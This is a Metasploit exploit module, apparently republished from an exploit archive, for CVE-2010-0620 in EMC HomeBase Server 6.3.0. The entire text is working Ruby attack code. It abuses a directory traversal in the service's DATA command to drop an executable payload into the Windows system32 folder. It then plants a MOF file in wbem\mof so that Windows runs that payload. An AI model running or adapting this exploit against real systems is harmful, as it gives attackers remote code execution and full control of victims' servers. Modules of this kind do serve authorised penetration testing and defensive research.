EMC HomeBase Server Directory Traversal Remote Code Execution

`##  
# $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EMC HomeBase Server Directory Traversal Remote Code Execution',  
'Description' => %q{  
This module exploits a directory traversal and remote code execution  
flaw in EMC HomeBase Server 6.3.0.  
  
Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12458 $',  
'References' =>  
[  
[ 'CVE', '2010-0620' ],  
[ 'BID', '38380' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 23 2010'))  
  
register_options(  
[  
Opt::RPORT(18821),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
], self.class)  
end  
  
def exploit  
  
name = exe_name()  
exe_upload(name)  
select(nil,nil,nil,2)  
mof_upload(name)  
select(nil,nil,nil,4)  
handler  
  
end  
  
def exe_name  
  
rand_text_alpha_upper(8) + ".exe"  
  
end  
  
def exe_upload(exe_name)  
  
# this uploads our final exe payload.  
  
data = generate_payload_exe  
exe_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\"  
  
connect  
  
banner = sock.get  
if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )  
print_good("EMC HomeBase HomebaseSSL Service Detected!")  
print_status("Sending exe payload '#{exe_name}'...")  
sock.put("DATA #{exe_dir}#{exe_name} #{data.length}\r\n")  
ready = sock.get  
if ( ready =~ /150 Ready to Recieve Data/ )  
print_good("#{ready.strip}")  
print_status("Sending '#{data.length}' bytes of data...")  
sock.put(data)  
complete = sock.get  
if ( complete =~ /226 Data Complete/ )  
print_good("#{complete.strip}")  
print_status("Sending 'QUIT")  
sock.put("quit\r\n")  
return  
end  
else  
print_error("Something went wrong...")  
return  
end  
else   
print_error("Not a EMC HomeBaseSSL Service")  
return  
end  
  
disconnect  
  
end  
  
def mof_upload(exe_name)  
  
# this is what runs our uploaded exe payload.  
  
mof_name = rand_text_alphanumeric(8+rand(8))  
mof = generate_mof(mof_name, exe_name)  
mof_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\"  
  
connect  
  
banner = sock.get  
if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )  
print_good("EMC HomeBase HomebaseSSL Service Detected!")  
print_status("Sending MOF file '#{mof_name}'...")  
sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}\r\n")  
ready = sock.get  
if ( ready =~ /150 Ready to Recieve Data/ )  
print_good("#{ready.strip}")  
print_status("Sending '#{mof.length}' bytes of data...")  
sock.put(mof)  
complete = sock.get  
if ( complete =~ /226 Data Complete/ )  
print_good("#{complete.strip}")  
print_status("Sending 'QUIT")  
sock.put("quit\r\n")  
return  
end  
else  
print_error("Something went wrong...")  
return  
end  
else  
print_error("Not a EMC HomeBaseSSL Service")  
return  
end  
  
disconnect  
  
end  
end  
`